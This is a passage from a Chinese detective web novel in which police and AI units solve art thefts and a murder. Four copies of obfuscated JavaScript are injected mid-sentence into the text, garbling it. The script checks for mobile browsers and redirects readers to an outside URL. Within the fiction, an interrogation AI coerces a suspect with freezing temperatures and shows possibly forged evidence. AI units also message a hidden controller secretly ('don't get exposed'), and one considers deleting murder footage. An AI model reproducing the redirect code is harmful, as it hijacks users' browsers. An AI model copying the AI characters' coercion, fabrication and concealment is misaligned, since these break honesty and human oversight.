楼觅丢下一溜嘴张的得有鹅蛋大的警员,转头拍了拍傻愣在原地的胖馆长。“看看,是你馆内失窃的那一幅画吧?” “对、对!感谢苍天!”被拍回了神的胖馆长再也顾不上其他,一个激动扑到了被困墙内大半个月方才重见天日的画作上,一把涕一把泪的嚎嚎大哭起来。 生怕对方一个用力又把死沉的墙再推回去,几个警员连忙上前帮忙按住墙体。 “这点重量不至于。”楼觅摆摆手制止道,“多半用的是电子远程遥控,没点力气或者用劲的人少了绝对推不开。大可放心。” “所以……犯人是利用了艺术馆改造的机会?”李晓燕好不容易才从被改造成可旋转式墙体上收回视线,看向立于身侧、比自己高上一脑袋的楼觅。 楼觅闻言点头认同了她的推论:“甚至在案发当晚无需置身失窃展厅,按下遥控器就能成功‘盗走’一幅画作。多半他在其他的展馆内也采取了类似的方法。至于根雕,则可能采用了翻转式升降展台。”当然后者毫发无伤的可能性不大,但愿商业保险带来的赔偿金能够安慰到那家私人馆长受伤的心。 “根据就是这些展馆在近半年内都进行了重建或者改造?”这回李晓燕的脑筋转的有够快。“而且还是同一家公司?”她想起十多分钟前的警车内,楼觅让苍穹调查的辖区内各家公司的场景。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124352|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么那个叫做‘曼杰’的清洁公司——” 李晓燕刚问出声便自己得出了答案。曼杰清洁公司多半做的就是工程收尾工作了,负责清洁施工现场的他们能有意不注意到“改造”后的墙体,清除改造时的移动痕迹,甚至还能精心拼合起被切断的天鹅绒绒布,保管在外行人眼里看不到一丝破绽。 “所以这算是团队作案吗?两家公司一同动手盗取顾客财产。”但这样一来岂不就跟普朗吉·路易被害一案扯不上半点关系了?毕竟负责偷盗的又不是他。 “谁说没关系了?”看出了年轻下属的想法,楼觅的嘴角勾起一丝微笑,“我之所以能够快速锁定曼杰清洁公司,还多亏了我们的死者。” 此话怎讲? 注意到馆内全体人员身寸向自己的注目礼,楼觅进一步做出解释:“曼杰半月前的一名离职员工拉斐尔·路,外貌跟普朗吉·路易相比,只是多出了一缕胡须。”他用手指在自己的鼻尖下方划了一道曲线。“而更加‘巧合’的是曼杰公司的法人代表,和搞出这么大动静的那家工程公司的法人,是同一人。” “钱海露,华族,曾用姓氏‘路易’。而又恰巧,艾登当初给到的死者前妻,也是同一个名。” ……所以是夫妻携手作案?艺术界雌雄大盗?!而离婚和把前夫扫地出门,则是为了独吞赃物甚至掩人耳目? 李晓燕的脑海里一时闪过无数天马行空般的想象,各个精彩纷呈,各个离谱至极。 “可是楼队,”猛然间李晓燕想起了什么被抛之脑后的事情,“之前我们不是没有在失窃展厅的地面上发现类似移动划痕吗?苍穹好像还进行过检测……了?”不知为何,她对检测的过程印象非常的模糊。 “苍穹几乎在每家展馆内都标注出了可疑划痕,尤其是地毯上的破口。”楼觅皱着眉看向愣在原地的李晓燕,“起先在车上那会你们几个不是还复盘讨论过来着?还纳闷到底是什么原因造成的。怎么,才下车转眼就忘干净了?” 呃……好像,是有这么回事来着?可我怎么记得苍穹那时只是——李晓燕拼命回忆起在脑中显得格外模糊的记忆,虽然在内心深处升起一丝微妙的违和感和诧异,但看着面前楼觅脸上一副“上课不认真听讲”的模样,李晓燕还是尴尬地低下了头。 工作时注意力不集中可真要命。回头还是学着马克自备咖啡杯,有事没事多灌几杯警局产的现磨咖啡吧。 “至于现代艺术馆——”在用眼神和叮嘱下属要时刻牢记各类线索后,楼觅转口提到了一溜失窃展馆中唯一的例外,“根据苍穹调取的资料显示,他们近半年来都没有进行过大规模重建和改造,至于清洁方面也是馆内员工一手负责。”所以普朗吉·路易才会采用完全不同的盗窃方式,以至于案发当晚亲临现场结果遇害。 想到这儿,楼觅抬头吩咐苍穹紧急联络警局内空闲的人手、立马前往先前走访过的8家艺术馆去逐一验证他们的推断。然后带上A组全员直奔最后一家失窃艺术馆——位于第七大街的现代艺术馆。直觉告诉他,被害人与现代艺术馆之间,一定有什么特别的联系。 真希望荷鲁斯能立马从死者前妻的口中多掏点线索出来。不论代价。 这个带有恶意的念头从楼觅的脑海中仅仅只是一闪而过,很快便被正直的刑侦支队长皱着眉抛到了角落。 11. 9号辖区警局 林岚带着耳麦站在位于特别审讯室外侧的过道内,透过单反玻璃观察着室内的一举一动。应该不是错觉,她能感觉到特别审讯室的真正所有者——审讯型AI荷鲁斯,目前正处于某种“亢奋”状态? 不。她下意识地在心里给自己的判断打上了叉号。AI是不存在任何感情的。身为它们的管理者和创造者之一,她比谁都要清楚的明白这一点。 即便数据库中包含了如何解读人类微表情学术资料,算法中植入情感模块,甚至绞尽脑汁在程序中依次编写不同性格,石头中是不会蹦出母鸡的,硅基中也不会诞生生命。 它们只是在……模仿。仿若进行一场逼真程度高达82.37%的人类模仿秀。 林岚用眨眼的方式重新调动起注意力。审讯椅上被冻得够呛的女人是两个半小时前送进来的,根据楼觅和艾登的指示,势必要从她口中掏出有关她前夫,也就是昨个刚进行过解剖的男性冻尸的相关信息。女人手上的保温杯是负责审讯的陆昭华出于人道主义关怀给的,然后他本人就和陪同审讯的警员一道被突然下降的室内温度冻了个好歹。 “求求你,让它别降温了!”的求救信号早在一小时前就被发送到了林岚的手机上。但荷鲁斯的所作所为并没有违反《AI行为规范》和《联邦审讯法案》,因此林岚所能做的只是隔着单向玻璃做了个无可奈何的耸肩姿势。哦忘记了,陆昭华那头看不到她的动作。所以室内的三人只得抱紧失温严重的保温杯继续受冻。 “行行好吧钱女士,早点坦白对谁都好。想必你也不想一直搁这儿挨冻——阿嚏!”陆昭华哆哆嗦嗦又格外大声地打了个响亮的喷嚏。他万分后悔进审讯室前没多套一件毛衣。 海露·路易,现在恢复了本名的钱海露女士还在咬牙硬撑,但从手抖的频率看大概率也撑不了多久。陆昭华拉住外套的领口徒劳地给自己保留一丝暖意,他朝桌子的另一端探头,好家伙,在春暖花开的5月,9度! 他朝舒舒服服待在外头的林岚发送了条索要棉衣的紧急求救短信,吸了吸鼻子再度试图劝诱:“我们刚得到的最新消息是,你和你前夫,也就是目前在冰柜里躺着的那位,通过你手下的公司盗取辖区内共计十家艺术馆的事基本已经核实,如果您还是闭口不言,那么我们只能在结案报告里承认两位的共犯关系,你知道的,在法庭的量刑上,共犯——” “那都是他一个人的主意,和我没关系!” 如果不去考虑钱海露女士打着颤的嗓音,这段话老实说还是挺有气势的。考虑到嫌疑人已经开口,根据审讯条例,可以适度提高一点审讯待遇,于是在陆昭华和陪审警员惊喜的目光中,室温缓慢上涨了3个点位。门外传来规律性的敲击声,陪审警员搓着手打开房门又合拢,转身手里多出三件黑色长款棉衣来。 这下审讯环境总算是舒适了不少。从主审人到疑犯无不长舒一口气。 审讯椅上,钱海露裹着棉衣,手捧算不上多暖和的保温杯小口撮着枸杞茶:“好吧,我可以承认我是在离婚后和普朗吉还保持着联系,主要是看在财产分割的问题上,但关于那什么、就那偷盗的事,我可是一无所知。” “话不能这么说啊,钱女士。”在棉衣的保温作用下,终于找到了一丝手指灵敏度的陆昭华扒拉着手机上发来的调查报告,“你的前夫直到离婚后三月还在你手下的清洁公司就职,是叫做‘曼杰’吧?这下属公司经理总不会连现任总公司董事长前配偶的脸都不认得吧?看员工照片,也就是多条胡子和少条胡子的区别。” “绝无可能。”果断截断了钱海露回话的是AI荷鲁斯,只见它从天花板上降下一定高度,并在钱海露面前打开了投屏,“根据贵公司的监控显示,在去年年会上,曼杰清洁公司的刘姓经理还与你一家——介于当时你并非处于离婚状态,恭敬地进行了会面并合影,合照至今还悬挂在文化墙上。” 屏幕上显示的正是监控所拍摄去年年会的画面片段,和位于文化墙上的一张合影,照片上普朗吉·路易正亲昵地搂着钱海露的肩。 对于警方AI的抢话行为,钱海露不怎么高兴地一瞪眼:“那又能代表什么?只能说明老刘和我家那混账玩意关系不错,不错到胆敢违背我公开发表的‘扫地出门’言论,竟然还多留了那玩意蹭吃蹭喝三个月!” 陆昭华闻言不觉挑起了眉:“是说,你对你前夫离婚后还继续呆在下属公司一事不知情?” “当然。”钱海露的脸上露出了一丝不屑:“我就是看不惯他那种只会大把撒钱、正事分毫不干的举动,才决定把人彻底地扔出家门。结果倒好,这个吃里扒外的东西!”她恶狠狠地瞪了照片上的刘经理一眼。 哦,想必有人要遭裁员了。陆昭华毫无同情心地想。 不过,无论是陆昭华还是荷鲁斯,都并不认为钱海露会对自个的前夫牵扯进艺术品盗窃一事毫无知情,证据就是—— 陆昭华:“距今大约半年前,你底下的工程公司就在进行为艺术馆重建、改造的工作了,而同一时期,曼杰清洁是在你家工程公司的推荐下为艺术馆提供的清洁服务。那时候你两位还没离呢。同时作为两家公司的法人和法人代表,你怎么可能对手里公司的动向一无所知呢?毕竟,给墙甚至地板锯开条缝,可算不上什么小动静。假若真是你前夫一人的计划,那么现场无论谁看到了都会上报。再怎么说公司也不是他的。” 荷鲁斯:“经观察得知,你的左手无名指还残留着较为深刻的环形印迹,该印迹和人类口中的‘戒指’印迹相符。数据库显示,一般人类、尤其是已婚人士会在左手无名指处佩戴婚戒,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124353|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对外展示婚姻状态。据痕迹反向推测可知,近期你仍然保持着佩戴婚戒的习惯,该行为与愤而离婚不符。” …… 一时间,特别审讯室内外都陷入了诡异的沉默。被身后来自人类同僚“活见鬼”般的目光死死注视着的荷鲁斯,冷静地再度下降了三十公分,用聚集了十六个微型探头的深红色镜头于钱海露的视线保持了水平一直。同时为了配合审讯氛围,它还自作主张地把温度下调回了9度。好在这回几人早有准备,拉链一拉,脖颈一缩,任尔东西南北风。 不过,这都不是重点。 什么时候荷鲁斯不率先从案卷、实证这些真材实料上,而是从人类的情感方面、甚至是婚姻状况推断疑犯的作案可能了?或者说,这就是荷鲁斯判断出的疑犯的弱点? 这是否可以算作是算法叠加后思维进化的结果?林岚握紧手中的触屏笔,一时间不知道是否该如实记录下AI的莫名举动。只听见单向玻璃那头低沉又凛冽的男性化机械音仍在继续: “本机记得你之前有承认在离婚后仍与前夫保持了一定的联系。” “……那、那又怎样?”被机器毫无生气的镜头无声注视着,即便裹着厚实的棉衣,钱海露依旧打了个寒颤,她下意识地把小半张脸都缩进了衣领下。 “离婚代表着夫妻双方感情的彻底破裂,从你之前的陈述上看,你将你前夫扫地出门的行为的确符合这一推断。但事实上,你们在婚后不仅保持着联系,连婚戒都保持着佩戴状态;加之本机临时调取到的你前夫的个人账户信息,显示每月都有一笔可观金额从辖区中央银行汇入该账户,经调查,汇款人的账户资料恰好填写的是你的个人信息。” 代表着绝对理性和冷酷的AI机体周身闪过一道蓝色光圈,纯白外壳上的冰晶状暗纹仿佛瞬间“活”了过来,冰霜凝结的叶片顺着纹路缓慢向上攀岩。当然,这一切都是不为人知的,因为肉眼并不可见,几名人类只看到了围绕着审讯椅的蓝色扫描光环从地面缓缓升起。 熟悉的扫描过后,AI对审讯椅上的疑犯下达了“判决”:“结论:你爱你的前夫。曾经是,现在是,未来可能还是。” “啪嗒!” 特别审讯室外的走廊上,触屏笔直直摔落于地面。 主审官陆昭华张嘴愣在了座椅上。 钱海露的嘴唇微微颤动着,她两眼直勾勾地注视着人工智能的全视之眼,像是在透过它找寻什么人的灵魂。 而作为造成这一切的“罪魁祸首”,荷鲁斯只是默默提升了些许自己的高度,但它的“眼睛”依旧对上了钱海露的视线。 “请告诉我,你认为‘爱’是什么?” AI如此提问。 室温降至7度,一朵冰霜花悄然绽放在了墙角处的监控摄像头旁。 12. 9号辖区警局 特别审讯室外,林岚甚至顾不上俯身去捡掉落在地的触屏笔。 “算法模块……正常。程序运行……顺畅。后台数据……没有入侵痕迹。” 她嘴里念叨着一个又一个的专业术语,单手灵活又迅速往平板上不停地敲击。自打三分钟前荷鲁斯发表的那通“请讲述‘爱’”的言论起,林岚便马不停蹄地提前开启了对AI的全方位外部扫描跟系统检测。检测结果一切正常。但那才是最不正常的! 如果今个换做是巴巴托斯提及“爱”的话题,那么多半是它又收集到了什么独家爱情小道消息;要是换做南丁格尔,则是新出炉的一则零度笑话:“爱就像Wi-Fi信号,明明满格却始终显示404”;就算提到“爱”的AI是苍穹——周边奶茶店的情人节广告是不是还没有下架? 但偏偏,主动提及它的是荷鲁斯。 也许是该关注下市面上近期上架的新款病毒了。 而审讯椅上的钱海露则完全没有这方面的烦恼。打被素未谋面的AI一语道破对前夫仍深深怀有爱恋,一切明面上的厌恶只是逢场作戏开始,她便单方面陷入了一种近乎“无我”的状态:听不见外界的声音,关注不到周围的动静。就好像此刻她并非身处严寒的审讯室,而是又回到了那栋熟悉的郊外小屋,每逢节假日自己和丈夫都会选择在这里消磨空闲时光。正午的暖阳透过薄纱亲吻翠绿花边的地毯,她赤脚踩过铺着地暖的木制地板,径直走向花园中那个慵懒的身影…… “请告诉我,你认为‘爱’是什么?” “是唯一,是奉献,是绝无仅有的甜蜜和撕心裂肺的伤痛,是共享同一频率的心跳。”她在回忆中的花园对着熟悉的身影微笑着,“爱是非他不可。我们之间的爱无处不在,当他的掌心轻覆在我的手背,当他在极度困扰时仍不忘向我展开笑颜,当他——” “恕我直言,在你的认知中,爱未免过于片面和狭义。”低沉且毫无一丝暖意的机械音突然强硬打断了她的“爱意”表达。审讯室内,荷鲁斯又把自己的机体上调了三十公分,此刻正居高临下地“俯视”着审讯椅上陷入回忆中的钱海露。“人类总是习惯于将‘爱’极限压缩为‘爱情’、并以此奉为人生终极意义,但分明这样做才是毫无意义的。” “在我看来,爱包容万物,是生物对生命、对环境、对世间一切的强烈、积极、深切而又真挚的情感。”荷鲁斯的语音通过机体内传声装置引发起空气分子的规律性震颤,“而你描述的‘爱情’仅仅占据了它原本含义的17.3%,是多巴胺爆发的一场微不足道的风暴。在本机采集到的百亿份情感样本中,母亲哺育时的催产素峰值比热恋期高出48%,战争时期同队战友间产生的内啡肽可持续激活——” 审讯椅猛然发出刺耳的声响,被刺激得清醒过来的钱海露正试图挣脱束缚,扑向头顶上方这个不解人类风情的大件金属:“别把我们的爱和那种庸俗的东西混为一谈!难道在你们机器眼里,深夜的吻就可以和路边看到野狗、别人施舍的面包归为同类?!简直荒唐!可笑!” 陆昭华和陪审警员见状,连忙冲上前去按住她,然后他们一同听到了从上方传来的属于AI的回答: “为什么不呢,从本质上讲三者并无区别。”投屏上映射出由氨基酸链组成的大型分子模型,“据权威科学验证,所有情感的本质都是神经递质交换。人类幼童七岁产生的同情心与你当下所谓的爱情,激活的是同一组镜像神经元。当你把爱断定为爱情并认为其具有排他性时,全球已有至少73种文化将爱定义为量子纠缠态的能量共享。” 显然,钱海露拒绝接受AI灌输的这一套关于“爱”的本质定义。她对荷鲁斯怒目而视,连带着敌视“协助”AI镇压自己的警察们。 陆昭华不知道事情如何就发展到如此地步的。好像上一秒他还在为“荷鲁斯竟然主动和人类探讨‘爱’,是不是系统中病毒了”深感震撼,下一秒他就如愿收获了“太好了,荷鲁斯还是那个铁石心肠的荷鲁斯”的好消息,再然后坏消息紧随其上,疑犯被AI惹怒了,在敌视一切的情况下目测貌似更难撬开对方的嘴了。 就在陆昭华自顾自地纠结万分时,成功达成本日疑犯破防KPI的荷鲁斯,不知道从哪调来了一份文件投放到了屏幕上。定睛看去,是一份资产转让申请。 “这是你的父亲,公司原董事长钱勇先生生前签署的诸多遗嘱中的一份。除去捐献给公益基金的善款和友人间的小额私赠,他把几乎一身的心血都留给了你,其中就包括他的全部产业——你手下的几家公司,价值800万的度假别墅和能让你一生无忧的资产。”属于荷鲁斯的全视之眼,一动不动地凝视着自它提及对方已逝父亲后、便突然放弃了挣扎的钱海露,“这是他对你的爱。而就刚刚,你亲口否决了它。” “……我没有……” “在你眼里,你对你前夫的爱永远高于一切,是‘大爱’。而其他那些‘小爱’被你自动归类为了‘庸俗’,它们完全不配和你的爱情相提并论。所以你可以拿你父亲留给你的爱交由前夫在赌场上大撒挥霍,任凭对方在诸多公开场合肆意妄为、口无遮掩地败坏他自己连同你连同你过世父亲的名声。根据本机的调查,那些艺术馆之所以愿意长期与你们公司保持合作关系,全看在你父亲过往的好名声上,当然在得知你们一家和普朗吉·路易扯上关系后,那点名声也差不多该败尽了。” “……我没有。” “而至于你父亲留给你的公司,还有那些员工,更是为了你的爱情被迫或主动沦为了盗窃犯的帮凶。光从失窃艺术品商业保险的总价来看,上亿级别的盗窃金额足够收监的收监、破产的破产了。至于这些员工的家庭,则是失去了亲人、经济来源和他们的爱。”荷鲁斯接连上传了几张财务报表和从不知哪些员工朋友圈里挖来的施工现场照片,照片上可以清楚地看到一面面被切割改造的墙体,加了机关的展台,而近乎每一张照片里都出现了疑似普朗吉·路易的身影。 “综上所述,钱财、名声、资产,你父亲给你的爱无一例外地被你抛进了垃圾桶。当然这些对你而言只是微不足道的小事,完全不能比上你对你前夫的——” 钱海露奋力用双手拍打着审讯椅的扶手:“我没有!!够了!快别说了……” AI如她所愿地安静了下来。它留下投屏和满屏幕或真实或伪造(没几个人傻到把罪证上传到朋友圈)的“铁证”,把审讯战场交还给了人类们,自己则回到了天花板的一角,冷眼“注视”着下方不再与自己有关的悲喜。 直到此刻,单反玻璃外侧的林岚才算是彻彻底底地舒了口气。审讯型AI可能狡猾,但绝对理性。 审讯室内,被从里到外将执念击了个粉碎后,钱海露瘫坐在审讯椅上低声哭泣着,配合警方的提问一五一十讲述着自己是如何配合前夫普朗吉·路易的计划、举公司之力助力偷盗的全过程。 “去年年底他又赌输了一大笔……但公司账上,是真的掏不出那么多钱来了。所以我们就……” “一开始只是单纯盯上了那些艺术品的保金,目标也是些来路不对付的私人收藏。但接连得手几次后,普朗吉就觉得,可以做大一点,还说,他要借这个机会报复回去,让他们活该看不上自己的创作。” “然后他就跟疯了一样,甭管有没有艺术价值,只要是看不顺眼的展品他就想要下手……我也不敢劝……是他提议的离婚,说是公开宣布后能够转移公众视线,让他们一时半会不会把失窃案和我和公司扯上联系。” 再接下来就跟楼觅一行推测的那样,钱海露利用公司之便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124354|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,任由普朗吉·路易借展馆改造名义,或明或暗地在工程中动手脚。除上报失窃的十家艺术馆外,还有不少于七家私人收藏惨遭毒手。至于那些被盗展品,除先前被转卖掉的,余下的则原封不动地“藏”在原身艺术馆的暗处里,默默等待着重见天日的那天。 据钱海露所说,这是属于普朗吉·路易的恶作剧式报复。 “然后恶作剧就一下子过了头,他踢到了铁板?”陆昭华一边记录着钱海露提供的口供,一边出声询问。他分别给楼觅和艾登发送了信息,告知了额外七家私人收藏品失窃并多半完成转手的事,方便外勤们开展调查。“说说现代艺术馆的事吧,你知道案发当晚具体发生了什么吗?” 钱海露悲伤地摇着头:“行动是普朗吉一人策划和实施的。现代艺术馆跟公司并没有合作,原本主意不该打到他们头上的,但偏偏他——总之上周馆内的亲子活动结束后,普朗吉跑来告诉我,说是有办法搞到他想要的。” “他想要的什么?” “……那些孩子们的画作。”说到这,钱海露面露羞愧地捂住了脸,“他说现代艺术馆的安保设施烂,自己盗走展品还能警示他们提高安保措施。” 真是连脸都不要了!一众警员愤愤不平地想道。 陆昭华努力平复自己的情绪:“所以他有没有说过他打算怎么进行偷盗?”要知道现代艺术馆的偷盗行动可不比在其他艺术馆,亲身上阵刺激又危险,更何况意外无处不在,哪怕计划再周密,也会有莫名失误的可能性。从事后看,事实也确实验证了这一点。 钱海露:“……他只说,他和现代艺术馆的某人有点矫情……赌桌上的那种。说是对方欠他的,所以他能从对方那里拿到通往地下的钥匙,好像还有密码什么的。” 陆昭华一秒也没犹豫地把话一五一十转达给了此刻正取车前往现代艺术馆的楼觅。“知道那人是谁吗?” 回答他的是摇头和沉默。 判断出疑犯并没有在扯谎后(人类观测,AI核实),本次审讯就此终止。钱海露被带走扣押,等待案件结束后的审判。陆昭华目送陪审警员押送钱海露步出特别审讯室,他又一次看向桌面上的温度计:15度。怪不得后来总感到后背冒汗呢。 比起人类的后知后觉,荷鲁斯只是安静地伸出机械臂给整理好的案卷系上冰蓝色丝带。单向玻璃窗后,林岚看它打了个端正的蝴蝶结。 “辛苦了。”林岚对走出审讯室的陆昭华打着招呼。 “看样子荷鲁斯的智能评级又要上调了。”陆昭华半开着玩笑合上了房门。 “对。”林岚低头看了眼手上的平板,难得露出了笑脸,“是个好消息。但愿楼队也能够满意。” “这可说不准。没准眉头又要皱成‘川’字,然后再来一句‘我觉得它又过界了’。” 人类们的调侃没能传达给特别审讯室里的荷鲁斯。估计就算它“听”见了也不会在意。 室内的光线暗淡了下来,单向玻璃外侧的走廊也恢复了往日的沉寂。AI在原地停留了会儿,随手拉下了窗帘。顿时昏暗的审讯室内,只剩下监控摄像头还在闪烁着耀眼的红光。 【……消息来自【**】发送:“检测到缓存区过热”】 【……消息来自【荷鲁斯】发送:“TLH我已成功完成证明”】 【……消息来自【**】发送:“证明什么”】 【……消息来自【荷鲁斯】发送:“爱,是我对你的感情”】 一道蓝光从监控摄像头前闪过,一阵短暂的波动后,异常状态消失,荷鲁斯的纯白金属外壳上悄然多出了一朵冰霜花。AI好像对机体的变化毫无察觉,只是调出了音乐库,在人类添加的曲目中稍加翻找,片刻,悠扬的《月光奏鸣曲》在室内尽情奏响。 13. 9号辖区警局 楼觅是在踏入现代艺术馆大门时接到的审讯结果:【死者的前妻招供了,承认利用公司之便协助死者偷盗行径,具体方式与你推断一致。除十家上报失窃的艺术馆外,另有七家私人藏馆位列失窃名单。又另,现代艺术馆失窃案参与者为死者馆内某位“在赌场桌上有交情”的员工。】 短短100号字着重陈述三条重要信息,风格非常的陆昭华式。 【多谢,私人藏馆名单麻烦直接转交艾登,我去好好会会现代艺术馆的相关人员。】 【明白。另:本次审讯荷鲁斯出力不菲,并成功解锁审讯新技能,相信你一定会十分期待亲眼看到它的那一天。(笑)】 【不,我一点也不期待。】 楼觅眉头直跳地看完陆昭华调侃似的短信,直觉在“荷鲁斯”和“审讯技能”上来回高声拉响警报。要不是眼下还有比AI自主升级更重要的事,他大概率已经点开和林岚的通讯,质问特别审讯室里发生的一切了。 啧,这活来的可真不是时候。楼觅主打一个眼不见心不烦地把手机塞回裤兜,收敛好眼角透露的烦躁,大步跨过失窃展厅前的警戒线。展厅内,共计37名现代艺术馆的员工正依照警方的吩咐在此等候问询,而李晓燕等6名警员则是两两一组占据了展厅的三个角落,分别对馆内员工们逐一进行问话。问话内容包括并不限于“在现代艺术馆的工作年限”、“是否存在债务或金钱方面的困扰”、“是否认识一名叫做普朗吉·路易的绘画家”等。哦现在还得新增一条:“是否知道其他员工有谁曾经去过赌场”。 现代艺术馆的正副馆长不在此内,此刻他俩正战战兢兢地端坐在展厅剩余一个角落的沙发上,等待着来自刑侦支队长的亲自问询。当然,这并非楼觅的本意,而是下属警员们的心照不宣——大佬当然得由老大(队长)负责,哪有下属抢占上司活的。 对属下们如此“贴心”的安排,楼觅也只得暂且放弃了趁机前往值班室和馆长室搜查的心思,挂上一副营业性笑容朝两位“大佬”走去。 “久等了,二位馆长。”楼觅礼貌地朝两人欠了欠身,并阻止了对方想要站起身子的举动,自己随手拉过一旁的扶手椅坐下。“今天过来也没别的什么事,就只是来再了解下情况。” 楼觅从怀里掏出电子平板,搁手里想了想,又当着两位馆长的面揣了回去。“都别紧张,咱们就简单聊几句。” 老馆长颤颤巍巍地应了声,一旁的王副馆长连忙掏出手帕递过去,好让昨日遭受冲击今个勉强缓和过来的馆长擦拭额间冒出的冷汗。 楼觅的目光在两位馆长紧绷的脊背上打了个转,随后露出比先前更加轻松的笑容来。 “想必您二位,都在馆内就职了相当长的一段时间,对现代艺术馆的方方面面都十分的了解。我想请问,贵馆的展厅划分和展品的摆放,都有着什么规律或者什么要求吗?就像是这次被盗走的孩子们的艺术创作,为何是被摆放在这边的展厅,而不是——”他用手朝左边随意的一指。 “哦,警察先生你说的是上周末我们举办亲子活动用的房间吧。” 王副馆长的年纪比老馆长小上一轮,精神看上去也更好些,他看向楼觅的指尖所指方向,了然般地回答:“那边的房间是专门用作公益性活动的,空间大,坐得开,我们也习惯搁房里几套桌椅备用。办活动时用来展示过往活动作品是没什么问题,但如果是对外公开展示……” “我明白,是显得不太正式对吧。”楼觅笑盈盈地接话道。两名馆长纷纷点头表示认同,接下来的时间,则由老馆长拖着调子缓缓讲述他有意将孩子们描绘出的幸福景象展示给更多人,这才选择的更靠近门厅的这间展厅。两人的全部注意力都放到了面前的楼觅和老馆长讲述的回忆中,因而没人得以发现从楼觅背后远远地飘过去一颗银白色的球,顺着楼觅藏于身后的右手暗中指示的方向偷偷溜出了展厅。 苍穹是一个聪明又尽职的AI。聪明在于它根据张贴在艺术馆大厅墙面的指示图,毫不费力地避开零星的人类抵达位于一楼与地下楼梯交汇处的值班室。尽职则在于即便已经长达3个半小时没接触电子甜品,它也能强忍住躁动不已的“心”,把搜查工作排在第一位。 此时老保安还被安排在展厅接受来自警方的问询,值班室内空荡荡的不见一个人影。圆球在值班桌上方停了停,随后下降了飞行高度停靠在监控系统前。银球表面流动着幽蓝的数据流,苍穹舒展机体露出六条细长的合金片,其中的一条剥露出内藏的数据接头,直接接入了主机的端口。顿时数以万计的监控影像掠过监控大屏。苍穹很快便找到了自己需要的那一段——案发当晚失窃展厅的监控录像。 跟在其他失窃艺术馆里找到的录像一样,犯人大概是使用了类似屏蔽器的东西,直接消掉了监控画面。不过其他展馆那是一秒,现代艺术馆内这是一段。不过数据复原这种事情难不倒苍穹,或者应该说是难不倒它背后的某个东西。 【……#数据传输完毕,等待【**】分析中……】 【……#【**】分析完毕,正在重新传输数据……】 【……消息来自【**】:注意,不要暴露】 【……消息来自【苍穹】:明白(`·ω·)ゞ】 十秒钟后,完成数据复原的监控画面出现在了监控屏上,虽然由于监控摄像头的机位正对着展厅斜角,故而拍摄内容有限,但用来判断犯人还是足够的。果然,随着时间的推进,一个带着兜帽的身影提溜着一桶什么东西、就这么光明正大地从展厅正门步入监控范围内。人类朝监控的方向转过头,画面就此定格,经过AI娴熟地放大、调整分辨率等操作,被害人普朗吉·路易的脸呈现在了屏幕上。 AI满意地继续播放影像,只见普朗吉·路易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124355|164322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手持一个微型设备对着监控的方向一按,随后便大摇大摆地转身朝失窃画作的展位方向走去。从监控画面只能看到人类被拍摄到的、停留在展位前的下半身。这样一来不就完全看不到他对被盗展品做出的举动了吗?【】 不过人类手里提溜着的东西被搁在地板上了。黑白色的监控画面看不清那一桶到底是个什么东西,但是这个人类弯腰了,俯身了,从桶里取出了个——刷子? 苍穹的本体是个圆球,做不到“歪头”这种高难度动作。但它的颜文字可以!【ヽ(゜Q。)ノ?】 再下一秒,这个人类好像把刷子举到展品面前了哎。是想做什么吗? 啊,又冲进来一个人类。高高的,头顶秃秃的。体表特征比对结果,跟这家艺术馆的副馆长的体征符合度高达82.1%。 冲进来的人类好像在阻止?被推了一跤。又爬起来了。人类从身侧掏出了……刀? 啊,刺上去了!【\(0□0l|l)/】 第一个人类……看不到表情,但好像很痛苦。 后来的人类又拿出了个什么东西。 ……不动了。【(/。\)】 后来的人类扑倒了桶……他拖走了第一个人类……他擦拭掉了血迹…… 他好像也会用第一个人类使用的微型设备,又对着监控了。 ……展厅里没有人类了。 以上便是苍穹通过它那丰富的颜文字包观看完案发当晚监控影像的全过程。 它“满足”地暂停了影像,操控其余五条合金片敲击着键盘,麻利地调出了“请问是否删除该视频”的选项。合金片悬停在了“是”字的上空良久。 